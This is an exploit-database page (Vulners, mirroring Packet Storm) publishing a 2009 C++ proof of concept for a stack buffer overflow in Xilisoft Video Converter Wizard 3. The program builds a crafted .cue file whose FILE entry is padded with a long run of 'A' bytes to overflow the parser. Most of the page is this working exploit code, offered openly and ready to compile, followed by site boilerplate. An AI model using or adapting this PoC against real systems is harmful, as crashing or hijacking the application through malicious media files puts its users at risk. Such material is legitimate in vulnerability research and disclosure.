Lucene search
K

Xilisoft Video Converter Wizard Overflow

🗓️ 10 Apr 2009 00:00:00Reported by fl0 fl0wType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 12 Views

Xilisoft Video Converter Wizard 3 .CUE File Stack Buffer Overflow POC. Stack buffer overflow vulnerability in Xilisoft Video Converter Wizard 3

Code
`/*  
----------------------------------------------------------------------------------------  
Xilisoft Video Converter Wizard 3 .CUE File Stack Buffer Overflow POC  
  
name: xilisoft.cpp  
  
Credits : fl0 fl0w  
----------------------------------------------------------------------------------------  
ScreanShot in the debugger  
  
Link: http://www.downloadatoz.com/xilisoft-video-converter/wizard.html  
  
http://img23.imageshack.us/my.php?image=xilisoftvideoconverter.jpg  
----------------------------------------------------------------------------------------  
*/  
  
//Start  
  
#include <stdio.h>  
#include <string.h>  
#include <stdio.h>  
#include <assert.h>  
#include <windows.h>  
  
#define SIZE 100000  
  
#define FILE_FF " BINARY.. TRACK 01 MODE2/2352.. INDEX 01 00:00:00.."   
  
class EXPLOIT {  
public:  
  
int check (char *, char *);  
void Usage (char *);  
};  
  
static int Poz = 1;  
static int Neg = 0;  
  
int i;   
  
char Name [SIZE];   
char NeWbuff [SIZE];  
  
  
int main (int argc, char *argv [])   
  
{   
  
EXPLOIT VIDEO;  
  
  
if ( argc < 2)   
  
VIDEO.Usage ( argv [0]);   
  
if ( VIDEO.check ( argv [1], "-file") == Neg) {   
  
fprintf ( stdout , " Incorect input ");   
  
printf ( " \t..Usage is %s -file filename.. \n", Name);  
  
exit ( 0);  
  
}  
  
  
  
  
do {  
  
NeWbuff [i] = 'A';  
  
i++;  
  
}while (i < 500);  
  
  
  
FILE *f;  
  
strcpy (Name, argv [2]);  
  
strcat (Name, " .cue ");  
  
f = fopen (Name, "w");  
  
assert ( f != NULL);  
  
  
  
  
strncpy ( NeWbuff + 500 , FILE_FF , strlen ( FILE_FF));   
  
  
  
fputs("FILE \"", f);  
  
fprintf ( f, " %s ", NeWbuff);  
  
  
fprintf ( stdout , "File build ! ");  
  
exit ( 0);   
  
getchar ();  
  
return 0;   
}  
  
  
  
  
int EXPLOIT::check (char *Arg_, char *_Arg)  
  
{  
  
if ( strcmp ( Arg_, _Arg) == 0)  
  
return Poz;  
  
return Neg;  
  
}   
  
void EXPLOIT::Usage (char *Name)  
  
{  
system ("cls");   
fprintf ( stdout , " \n..Xilisoft Video Converter Wizard 3 .CUE File Stack Buffer Overflow POC..\n ");  
printf ( " \t..Usage is %s -file filename.. \n", Name);   
fprintf ( stdout , "..All Credits fl0 fl0w.. \n");  
  
  
}   
  
  
//EOF   
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Apr 2009 00:00Current
0.8Low risk
Vulners AI Score0.8
12